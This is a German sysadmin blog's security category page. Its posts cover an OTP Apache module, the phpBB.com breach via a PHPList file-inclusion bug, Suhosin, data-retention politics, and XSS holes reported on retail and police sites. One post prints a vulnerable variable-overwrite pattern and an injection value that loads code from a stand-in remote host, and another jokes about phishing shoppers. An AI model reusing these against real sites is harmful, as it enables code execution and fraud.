Security

Ein äußerst interessantes Projekt ist das Apache-Modul mod-authn-otp, womit sich Einmal-Passwörter gemäß dem RFC 4226 erzeugen lassen. Damit kann man hervorragend kritische Logins absichern oder Usern nur temporären Zugriff auf einen Loginbereich erlauben. Weitere Infos dazu gibt es auch auf der offiziellen OATH-Website.

Zuerst besorgt man sich den Quelltext von der Google-Code-Page des Projektes. Anschließend wird via ./configure; make modules ein .so Modul erzeugt, welches sich in Apache2 einbinden lässt. Mittels OTPAuthMaxLinger wird die maximale Gültigkeitsdauer eines Logins festgelegt (dies ist nötig, da das HTTP-Protokoll "stateless" ist).

Hier eine Beispiel-Konfiguration:

<Location /geheim>
AuthType basic
AuthName "Nutzer-Login (OTP)"
AuthBasicProvider OTP
OTPAuthUsersFile "/data/users/admin-blog/.apache22/htpasswd.otp"
OTPAuthMaxLinger 300
Require valid-user
</Location>

Zur Benutzung legt man eine spezielle .htpasswd-File nach der Vorlage hier an, welches man vorher in der Modul-Config unter OTPAuthUsersFile hinterlegt hat. Der Clou ist jedoch die Tatsache, dass man mit der iPhone-App "OATH Token" (AppStore-Link) nach Eingabe des Shared Secrets entsprechende Einmal-Passwörter generieren kann.

Wer nicht im Besitz eines iPhone ist, kann z.B. für 9,90 EUR ein kleines Gerät namens OTP C200 erwerben, welches die Passwörter ebenfalls erzeugen kann. Natürlich wäre es auch möglich, mit dem Algo aus dem RFC eigene Software dafür zu schreiben, uns hat aber die iPhone-App am besten gefallen.

Gestern bekam ich einen lustigen Hinweis via Google Alerts, nämlich dass admin-blog.com bei safeweb.norton.com als bösartige Seite gelistet ist. Dort wird ein offenbar schadhaftes JavaScript namens "HTTP Malicious Javascript Encoder 5" gefunden, welches ich 2008 mal in einem Blogeintrag verlinkt hatte.

So weit, so gut. Ob das jetzt irgendeinen Einfluss auf Nutzer irgendwelcher komischen Norton-Software hat oder ob diese im schlimmsten Fall dieses Blog gar nicht mehr aufrufen können, eine tolle Warnung erhalten oder whatever - keine Ahnung. Immerhin kann wohl der IE 6 wie auch der Firefox 2.0.8 von diesem Script manipuliert werden. Natürlich aber nicht von unserer verlinkten Textdatei, denn die wird ja einfach nur als Text durch den Browser ausgegeben (sollte man annehmen). Insofern ist die Norton-Safeweb Warnung eigentlich überflüssig und irreführend.

Wie auch immer, Norton-User sind eh nicht die Haupt-Zielgruppe des admin-blog.com

Ich habe schon seit einer halben Ewigkeit eine Originalversion von G DATA Internet Security 2009 im Wert von 39,95 EUR hier umliegen. Im Rahmen einer Promotion-Aktion wurde mir diese Version samt Lizenz von einer Agentur zugeschickt. Es bestand die Hoffnung, dass ich darüber blogge und davon berichte - tue ich ja jetzt im Grunde auch

Leider habe ich ja nun schon seit einer halben Ewigkeit kein Windows mehr im Einsatz, daher verstaubte die Packung hier mehr und mehr. Damit ist jetzt Schluss, denn ich verschenke die Lizenz an einen unserer lieben Leser. Liefern kann ich den Gewinn per Post, ansonsten mache ich auch gerne eine ISO und schicke dem Gewinner dann den Key. Wäre zumindest eher würdig für das Admininistrator's Blog.

Um zu gewinnen, reicht ein Twitter-Link (aka Retweet) zu dem Gewinnspiel hier oder ein Kommentar zu diesem Blogpost. Hoffentlich will das überhaupt Einer haben noch ..
Am Samstag werde ich den Gewinner dann kontaktieren..

Eben las ich, dass phpbb.com gehackt wurde und deshalb die Seite derzeit nicht erreichbar ist. Glücklichweise wurde diesmal nicht (wie schon so oft...) die Forensoftware selbst Opfer der eigenen Sicherheitslücken, sondern eine Installation des Newsletter-Managers PHPList. Das macht es natürlich nicht wirklich besser, erspart mir aber die Suche nach Problemen bzw. Updates der eigenen phpBB-Installationen.

Ich habe hier mal ein paar Fakten aus dem Heise-Forum aufbereitet, die offenbar von Stefan Esser (PHP-Autor und Entwickler des Suhosin-Patches) gepostet wurden:

Grund war ein Remote File Inclusion Problem, das durch einen Superglobals-Overwrite (dabei werden die Superglobalen-Variablen von PHP überschrieben, siehe auch hier) ausgelöst wurde. Hier wurde seitens PHPList schlampig programmiert, um "register_globals=off" zu umgehen oder sowas. Dabei wird beispielsweise oft fälschlicherweise der folgende Code verwendet, um GET/POST/COOKIE-Variablen später einfach verwenden zu können:

foreach ($_REQUEST as $key => $val) {
    $$key = $val;
}

Im Exploit wurde dann die Variable $_SERVER[ConfigFile]=../local-file../ einfach mit $_SERVER[ConfigFile]=ftp://www.bla.com/bad_code.php überschrieben. Da zur Prüfung der Variable dann is_file() benutzt wurde, lieferte PHP keinen Fehler. Seit PHP5 wird stat() nämlich auch vom ftp:// - Protokoll unterstützt.

Der zur Verfügung gestellte Bugfix behebt dieses Problem nun durch eine recht banale Lösung:

if (isset($_REQUEST['_SERVER'])) {
    exit;
}

Hier werden allerdings die zahlreichen anderen Superglobals wie $GLOBALS, $_GET, $_POST, $_REQUEST usw. nicht abgefangen. Damit könnten eventuell weitere Variablen im Script überschrieben werden und das nächste Leck ist offen.

Abhilfe schafft hier zweifelsfrei Suhosin, da hier konsequent GET/POST/COOKIE-Variablen mit den entsprechenden Namen ($_GLOBALS usw.) ignoriert und dementsprechend im Script auch nicht registriert werden. Ich habe eigentlich auf sämtlichen Servern seit einer ganzen Weile Suhosin laufen (via Debian auch als Paket installierbar) und kann nur Positives berichten. Probleme mit Scripten sind mir bisher nicht ein einziges Mal untergekommen.

Im Apache-Errorlog kann man dann, je nach Loglevel, auch die verhinderten Aktionen einsehen. Das sieht dann beispielsweise so aus:

suhosin[3077]: ALERT - tried to register forbidden variable '_REQUEST' through GET variables (attacker '1xx.xxx.xxx.xxx', file '/www/.../index.php')
suhosin[635]: ALERT - configured GET variable value length limit exceeded - dropped variable 'variablen_name' (attacker '1xx.xxx.xxx.xxx', file '/www.../s.php')
suhosin[14381]: ALERT - ASCII-NUL chars not allowed within request variables - dropped variable 'cutepath' (attacker '1xx.xxx.xxx.xxx, file '/www/.../tools.php')

Da sich in den Logs mitunter täglich hunderte solcher Einträge finden lassen, kann ich jedem Webserver-Admin nur empfehlen, PHP mit Suhosin abzusichern!

Heute stöberte ich bezüglich einiger Info's zum Thema auf der Website der Polizei Sachsen. Dabei fiel mir sofort auf, dass der Text auf bestimmten öffentlichen Bereichen der Website teilweise via GET-Variablen an ein ASP-Script weitergegeben wird. Das weckte natürlich sofort meine Neugier.

Als dann ein testweise selbst via URL eingegebener Text ebenfalls auf der Website erschien, war klar, es handelt sich um eine XSS-Lücke. Selbst kompletter HTML-Code lässt sich problemlos einschleusen, wie der Screenshot anhand eines Bildes beweist (der Rest der URL sowie Info's darüber, um welche Unterseite es sich konkret handelt, wurden sicherheitshalber entfernt). Natürlich habe ich die Beamten sofort entsprechend über die Misstände im eigenen Webauftritt via Mail informiert - eine Antwort steht aber bisher noch aus.

Natürlich hoffe ich, dass die Lücke umgehend geschlossen wird, denn mit "seiner eigenen" Polizeiseite, deren URL seriös mit http://polizei.sachsen.de... beginnt, könnte z.B. ein Botnetzbetreiber anhand einiger Millionen Spams massiv Unsinn treiben. In der Vergangenheit war es bisher allerdings leider so, dass gar keine (MediaMarkt, Saturn) oder extreme unprofessionelle Reaktionen (Tchibo.de) auf meine Hinweise erfolgten.

Ich bin ganz klar gegen die Vorratsdatenspeicherung, war sogar auf einer Demo dagegen und habe Beschwerde beim Verfassungsgericht im Zuge der Sammelklage eingereicht. Irgendwie irritierend find ich trotzdem die Vielzahl an Meldungen, die gestern in der News- und Blogszene zu melden waren. So wird über die Ausweitung der Vorratsdatenspeicherung im Zuge eines neues BSI-Gesetzes diskutiert, die hier im Detail zu lesen ist (PDF).

Der Arbeitskreis Vorratsdatenspeicherung hat direkt dazu eine Pressemitteilung herausgegeben, was ich auch sehr begrüße. Weniger schön ist, dass die Mittleitung ein wenig reißerisch geschrieben ist. Prinzipiell ist es ja gut, die Leute zu sensibilisieren und mobil gegen die neuerlichen Einschränkungen in Sachen Datenschutz zu machen, bei den Fakten sollte man aber schon bleiben. In den Kommentaren auf der Protestseite, wo auch die jeweiligen Ansprechpartner aus Bundestag, Bundesrat und Bundesregierung zu finden sind, wurde das bereits diskutiert.

Ich möchte die Punkte hier aber nochmal aufgreifen, um einige Tatsachen richtig zu stellen:

• Es heißt im Entwurf des § 15 Abs. 9 TMG, dass der Diensteanbieter Nutzungsdaten speichern darf. Er darf, muss aber nicht. Kein Webserverbetreiber wird gezwungen, überhaupt etwas mitzuloggen. Man kann auch anonymisiert (ohne IP etc.) oder eben gar nicht loggen.


• Es wird laut Gesetzesbegründung nur die kurzfristige Speicherung erlaubt. Wollte der Staat die Daten zum Zweck der Überwachung haben, hätte er eine längere Speicherfrist ins Gesetz geschrieben. Die erhobenen Nutzerdaten sind nach Analyse und Erkennung von Sicherheitsproblemen sofort zu löschen - und dienen auch nur dazu.
  


• Es gibt keinen Auskunftanspruch für Polizei, Strafverfolgungsbehörden, Geheimdienste oder Inhaber von Nutzungsrechten. § 15 Abs. 5 Satz 3 schreibt die analoge Anwendung von § 14 Abs. 2 TMG vor. § 15 Abs.5 befasst sich aber nur mit der Weitergabe von Abrechnungsdaten. Dabei hat der Gesetzgeber es für nötig befunden, per Klammerdefinition in § 15 Abs. 3 TMG ausdrücklich zu definieren, was Abrechnungsdaten sind.
  


• Der neue § 15 Abs. 9 enthält keine Vorschrift, die die Weitergabe von nach dieser Vorschrift erhobenen Nutzungsdaten gestattet. Er enthält keine Verweisung auf § 15 Abs. 5 oder § 14 Abs. 2 TMG. Eine Weitergabe der nach § 15 Abs. 9 TMG erhobenen Daten an Sicherheitsbehörden oder Rechteinhaber bliebe auch nach der Gesetzesänderung verboten.

Die Punkte sind also nicht ganz so drastisch, wie auf manchen Blogs und Websites dargestellt. Dennoch sollten wir aus der IT-Branche natürlich weiterhin gegen jede Einschränkung des Datenschutzess vorgehen - daher sind die Kontaktdaten auf den Seiten des AK-Vorratsdatenspeicherung sehr hilfreich. Am besten wäre natürlich trotzdem die Entfernung der neuen Speicherungs-Passagen aus dem Entwurf - das steht außer Frage.

Ich bin mir aber recht sicher, dass eine sehr hohe Prozentzahl der Webserver da draußen seit jeher die IP's mitspeichert (z.B. im Apache-Common Logformat) und nur ein kleiner Prozentsatz davon die Logs regelmäßig löscht. Da keine genaue Prüfung erfolgt, wer wie was speichert, werden mit Sicherheit schon Nutzerprofile usw. erstellt. Einige geben es immerhin gleich zu, so speichert Google die IP's z.B. (natürlich soweit anonymisiert ...) "nur" 9 Monate.

Auch die Begründung, StudiVZ, Amazon und Co. könnten dann bessere Nutzungsprofile erstellen, erscheint mir ein wenig sinnfrei zu sein. Dort ist man doch sowieso mit seinem eigenen Account unterwegs, hat also mindestens schonmal eine gültige E-Mail und meistens noch weitere Daten angegeben. Die brauchen also nicht wirklich die IP's, um eventuelle Nutzerprofile zu erstellen.

Unsere liebe Familienministerin hat es geschafft: Der Anti-Kinderporno-Filter für das Internet kommt wohl noch in diesem Jahr bei allen ISP's zum Einsatz. Damit sollen dann Zugriffe auf dem BKA bekannte Kinderporno-Seiten verhindert werden. Inwieweit dann auch gleich IP & Co. ans BKA gehen, ist bisher noch nicht bekannt.

Dass Kinderporno-Seiten vom Netz müssen bzw. deren Betreiber bestraft, ist klar. Ob allerdings ein weiterer Einschnitt in die Surf- und Freiheitsgewohnheiten der Bundesbürger dazu der rechte Weg ist, bezweifel ich. Denn mit diesem recht mächtigen Instrument ist es dem BKA bzw. der Regierung dann natürlich möglich, jede beliebige Seite zu filtern und eventuell sogar die personenbezogenen Daten wie IP's der potentiellen Besucher herauszufinden. Was man mit derartigen Mitteln so machen kann, sieht man beispielsweise an China.

Ob diese Massnahmen auch wirklich helfen und die Kriminalität nachweislich senken, darf ebenfalls bezweifelt werden.

3 Tage ist das Jahr 1984 2009 nun alt, das heisst das bereits 3 Tage lang die Daten von allen Internetverbindungen, eMails und VOIP-Gesprächen gespeichert und den Behörden zugänglich gemacht werden müssen. In welcher Form die Daten aber gespeichert werden soll, ist bisher unklar. Die großen Provider haben aber allesamt die entsprechenden Vorkehrungen getroffen und speichern fortan für 6 Monate, was das Zeug hält. Dass es hier um Milliarden von Verbindungsdaten uns somit TeraByte's an Daten geht, kann man sich sicher vorstellen - und zwar jeden Tag!

Ein kleiner Lichtblick ist hier ganz klar der Hoster manitu.net, der sich auf seiner Seite klar gegen die Speicherung ausspricht (siehe Bild rechts). Es wäre wünschenswert, wenn andere Provider und Hoster folgen würden, vor Allem aus den Reihen der "Großen". Das Berliner Landgericht hatte ja BT Deutschland (British Telecom) im Oktober zugestanden, die Vorratsdatenspeicherung aussetzen zu dürfen. Warum sollte das dann nicht auch für andere Carrier, Provider, Hoster etc. gelten?

Gespannt darf man auch darauf sein, was aus unserer Sammelklage (mit "uns" meine ich hier 34.000 Bundesbürger, die motiviert durch den Arbeitskreis Vorratsdatenspeicherung Klage beim Verfassungsgericht eingereicht haben). Die endgültige Entscheidung des Gerichtes steht ja noch aus, man wartet wohl auf die Entscheidung auf europäischer Ebene - Irland hatte ja glücklicherweise gegen dieses Vorhaben ebenfalls geklagt.

Das weitere Highlight dieses Jahres ist zweifellos der "Bundestrojaner". So ist es seit 1.1. nicht auszuschließen, dass der eigene Rechner von den Behörden infiltriert wird. Allerdings wird das natürlich nur bei erhöhtem Terrorverdacht, Landesverrat oder nach dem Download von MP3's via BitTorrent eingesetzt. BKA-Präsident Ziercke geht von maximal 3-4 Installationen in diesem Jahr aus. Man kann also gespannt sein. Besonders erheiternd ist die Tatsache, dass nach den neuesten Einschränkungen des Bundesverfassungsgerichtes die Wohnung des zu bespitzelndes Opfers nicht betreten werden darf, um z.B. Software zu installieren oder Keylogger anzubringen. Es wird dann wohl auf Installationsversuche via eMails oder präparieren Websites hinauslaufen. Die Chancen dafür stehen aber recht schlecht, zumindest wenn nicht Software- und Security-Firmen eingeweiht sind. Ich freue mich zumindest auf die ersten Berichte von disassemblierten Bundestrojanern, die dann im Quelltext für Jedermann zur Verfügung stehen ...

In diesem Sinne ein gesundes Jahr 1984, und jede Menge Datensicherheit!

Ein Bekannter von mir hatte unlängst auf seinem Windows-PC einen Virus- bzw. Trojaner, der dort eine Weile sein Unwesen trieb. Um welchen Störenfried es sich dabei genau gehandelt hat, weiss ich leider nicht. Nachdem der Schadcode von seinem Rechner entfernt war, fiel ihm allerdings auf, dass sich auf seiner Website etwas verändert hat. Und zwar wurde dort schädliches JavaScript eingefügt. Zur Betrachtung im Textformat habe ich das Ganze hier hochgeladen.

Meine Analyse ergab allerdings nicht wirklich ein brauchbares Ergebnis - auf jeden Fall wird irgendwelches wirr kodiertes JS aus dem initialen String etwas verändert und anschließend via eval() ausgeführt. Was der Code aber genau macht, habe ich leider nicht herausfinden können. Vielleicht hat das ein Leser hier eine zündende Idee?

Ebenso unklar bleibt, wie der Code denn nun in das Index-Dokument seiner Website kam, die bei einem beliebigen ISP gelagert ist. Sollte der Trojaner tatsächlich das FTP-Programm, Dreamweaver oder gar Eclipse bemüht haben, um den Code auf die Seite hochzuladen? Es kann natürlich auch sein, dass der lokale Virus und das mutmaßlich schädliche JS auf dem Server des Providers in keinem Zusammenhang stehen. Im schlimmsten Fall ist gar der komplette Server beim ISP kompromittiert. Auf dem Webserver des Providers scheint aber wenigstens Linux mit Apache und PHP 4.4.9 zu laufen - das ergibt sich zumindest aus den Header-Informationen des Webservers.

Vor 2-3 Tagen bin ich bei Streifzügen in der "dunklen Seite des Internets", sprich Sex- und Warezseiten, auf ein lustiges Fundstück gestoßen. Aber erstmal noch kurz zur Rechtfertigung: Ich war auf dieser Art von Seiten tatsächlich nur unterwegs, um für mein Antispam-Projekt neue Spamversender zu "gewinnen" - ohne Mist

Plötzlich schob sich ein besonders tolles Popup auf meinen Bildschirm, in welchem offenbar ein Online-Malwarescanner sofort anfing, meine Festplatte C: nach Viren und Malware zu durchsuchen. Dumm nur, dass ich gar kein C: im Angebot hatte, schließlich spielte sich der Spaß auf meinem Linux-Laptop ab.

Ich ließ den "Scan" (offensichtlich ein GIF) also mal durchlaufen, das dauerte auch zum Glück nicht lange. Und dann der Schreck: 61 Fehler wurden gefunden. Die imaginäre Festplatte C: schien ebenso wie "Lokale Einstellungen" infiziert zu sein - was auch immer "Lokale Einstellungen" sind. Glücklichweise wurden die Bösewichte auch gleich aufgelistet, so gab es wohl allein 69 mit "Trojan.Mytob.Mailer" infizierte Objekte. Jedem Menschen mit minimalen mathematischen Fähigkeiten fällt gleich auf: Bei 61 Fehlern insgesamt sind 69 infizierte Elemente mit "Trojan.Mytob.Mailer" irgendwie seltsam

Zum Glück konnte man dort "Antivirus 360" gleich als .exe-Datei herunterladen. Das hat mir freilich unter Linux nichts genützt. So werde ich wohl noch Tage mit der Suche nach den Viren, Trojanern und, vor Allem, nach der Festplatte C: verbringen ...

Achja, die Website mit diesem tollen Scanner (onlinemalwarescanner.com) scheint inzwischen down zu sein. Was dem ahnungslosen Internet-User dort tatsächlich untergejubelt werden sollte, lässt sich nur erahnen. Vermutlich aber genau die Sachen, vor denen ein echter Viren- und Malwarescanner normalerweise schützt.

Zur Weihnachtszeit stehen Technik-Artikel natürlich oft wieder ganz oben auf der Wunschliste. Bei meinen abendlichen Surfsessions landete ich gestern dann irgendwann auf mediamarkt.de und auch saturn.de. Als Gag versuchte ich mal dann einfach mal, ein Formular via XSS zu manipulieren. Und siehe da, es funktionierte

So lassen sich auf beiden Seiten (die ja irgendwie sowieso via METRO zusammenhängen) die Newsletter-Formulare für XSS missbrauchen. Bei saturn.de geht das besonders schön, da man wie in einem CMS die Seite komplett mit eigenen Inhalten füllen kann, während das Design erhalten bleibt (siehe Screenshot). Ich habe einfach mal meinen geliebtes "Stallowned" - Banner und ein Fake-Formular samt Fake-Text eingefügt. Wenn man jetzt ein wenig mehr Arbeit reinsteckt und ein entsprechendes Botnetz zum Spamversand bereitstehen hat, kann man sicher binnen weniger Stunden jede Menge Kreditkartennummern und Kontodaten mit Fake-Schnäppchen abfangen. Der Fantasie sind hier praktisch keine Grenzen gesetzt. Eine Vielzahl von Usern würde die Seite durchaus für vertrauenswürdig halten, steht doch in der Browserleiste seriöserweise http://www2.saturn.de/ ...

Auf mediamarkt.de integriert sich der eigene Inhalt zwar nicht so schön ins Design, die Schwachstelle könnte man aber trotzdem problemlos ausnutzen, um z.B. Bank- oder Kundendaten abzufangen. Zumal hier sogar der Aufruf via https:// möglich ist, wenn auch nicht mit dem korrekten Zertifikat dafür. Ältere Browser dies jedoch soweit ich weiss nicht immer.

Die Unternehmen tun also auch hier gut daran, die Fehler schnellstens zu beheben. Ich habe natürlich jeweils den Webmaster darüber informiert, eine Antwort steht bisher noch aus. Mal schauen ob hier mehr Kompetenz im Spiel ist, als damals bei der XSS-Lücke auf Tchibo.de

Ich kann nicht genau sagen, wann sie es getan haben, aber sie haben die von mir mehrfach angemahnte XSS-Lücke (siehe auch hier) im Tchobo-Intershop endlich geschlossen. Ein Lob erspar ich mir an dieser Stelle, denn die Dauer bis zum Fix war mehr als peinlich. Wahrscheinlich war es nichtmal Tchibo selbst, sondern ein Intershop-Update. Wir werden es nie erfahren ...

Wenn ich mal ein paar Minuten Zeit und Lust habe, suche ich für die geneigte Leserschaft weitere XSS-Fundstücke - versprochen!

Wie ich zu meiner Erheiterung eben auf Heise gelesen habe, leitet perl.com neuerdings auf ein dubioses Blog (grepblogs.net) weiter, wo mit Erotik-Inhalten geworden wird. Witzigerweise gehört diese Domain aber Tom Christiansen, einem bekannten Perl-Entwickler. Offenbar hat er versucht, sich ein zweites Standbein aufzubauen, wenns mit PERL mal nicht mehr so klappt Das PERL-Hauptquartier unter perl.org ist aber weiterhin problemlos erreichbar.

Dies ist auf jeden Fall mal wieder ein tolles Beispiel dafür, dass man fremde JavaScript nicht auf seiner Seite einbinden sollte. Schuld ist hier nämlich ein JavaScript-Include, das folgendermaßen aussieht:

<script src="http://grepblogs.net/adx.js" type="text/javascript" language="JavaScript">

Normalerweise liefert dieses Script wahrscheinlich nur ein Banner oder so etwas aus, in diesem Fall aber eben eine nette Weiterleitung

Besonders toll wäre dieses Szenario, wenn mal wer ein paar Server von Google-Analytics hackt. Dann könnte ein Angreifer quasi das halbe Internet manipulieren und auf eigene Server umleiten. Schließlich haben millionen von Webseiten das Google-Analytics-JavaScript bei sich eingebunden. Unter Anderem auch diverse von mir betriebene Projekte. Bei Google sollte der Sicherheitsstandard zwar entsprechend hoch sein, generell ist dies aber kein netter Gedanke. Zumal ja nichtmal Google schuld sein muss, schließlich würde DNS-Spoofing auch schon reichen, um google-analytics.com umzuleiten ...

Nachdem ich mich die Tage mit einer Nasennebenhöhlenentzündung rumgeplagt habe bzw. immernoch rumplage (daher meine geringer Aktivität hier) ist von Tchibo.de bereits die nächste kompetente Antwort auf die von mir entdeckte XSS-Lücke eingetroffen. Schockierenderweise sah die Antwort diesmal so aus:

Sehr geehrter Herr Klikics,
[ ... ]
Das Problem ist bekannt. Soweit uns bekannt ist, wird dies bei den wichtigen Seiten unterbunden.
Sie können uns gerne einen Tipp schicken, damit wir weiter Verbesserungen machen können.

Ist nicht wahr, oder? Entweder man unterbindet XSS konsequent oder man lässt es. Schließlich spielt es im Falle eines Missbrauchs doch keine Rolle, wo genau der User seine Kreditkartennummer an den Phisher übermittelt. Als "Tipp" habe ich diesmal geantwortet, dass man HTML-Tags prinzipiell aus Userangaben entfernen sollte, vor Allem wenn man die Userangaben nach dem Absenden eines Formulares noch einmal anzeigt. Mal schauen ob ich erneut eine so tolle Antwort erhalte.

Im Grunde hätte ich die Lücke (die natürlich immernoch besteht) vielleicht lieber aktiv nutzen sollen, anstatt mich mit dem Support rumzuschlagen. Für eine Senseo-Maschine z.B. für 29,99 EUR hätten doch sicher jede Menge Leute ihre Kreditkartennummer an mich übermittelt, oder?

Nachdem ich vor einigen Tagen eine XSS-Lücke auf tchibo.de entdeckt hatte, antwortete mir der sofort informierte Support heute leider sehr unzureichend auf die Info zur Schwachstelle in der eigenen Webseite. Offenbar vermutet der Mensch im Support, dass ich das sinnlose "Stallowned"-Bild mit in meine Empfehlungs-eMail packen will. Sehr interessant, diese Vermutung

Meine Erwähnungen von "XSS-Lücke" und "Sicherheitsproblemen" wurden großzügig übersehen und ignoriert, so dass ich leider Opfer dieser Standardantwort wurde:

Sehr geehrter Herr Klikics,
[ ... ]
Die Angaben der fett markierten Felder benötigen wir, um Ihre Empfehlung bearbeiten zu können.
Diese sind bei Ihnen nicht gefüllt.

Das "eingefügte" Bild kann nicht mitgesendet werden.
[...]

Aber natürlich lasse ich nicht locker und habe erneut mit der Bitte um Weiterleitung meiner Info's an die IT geantwortet. Mal schauen, was nun zurückkommt ...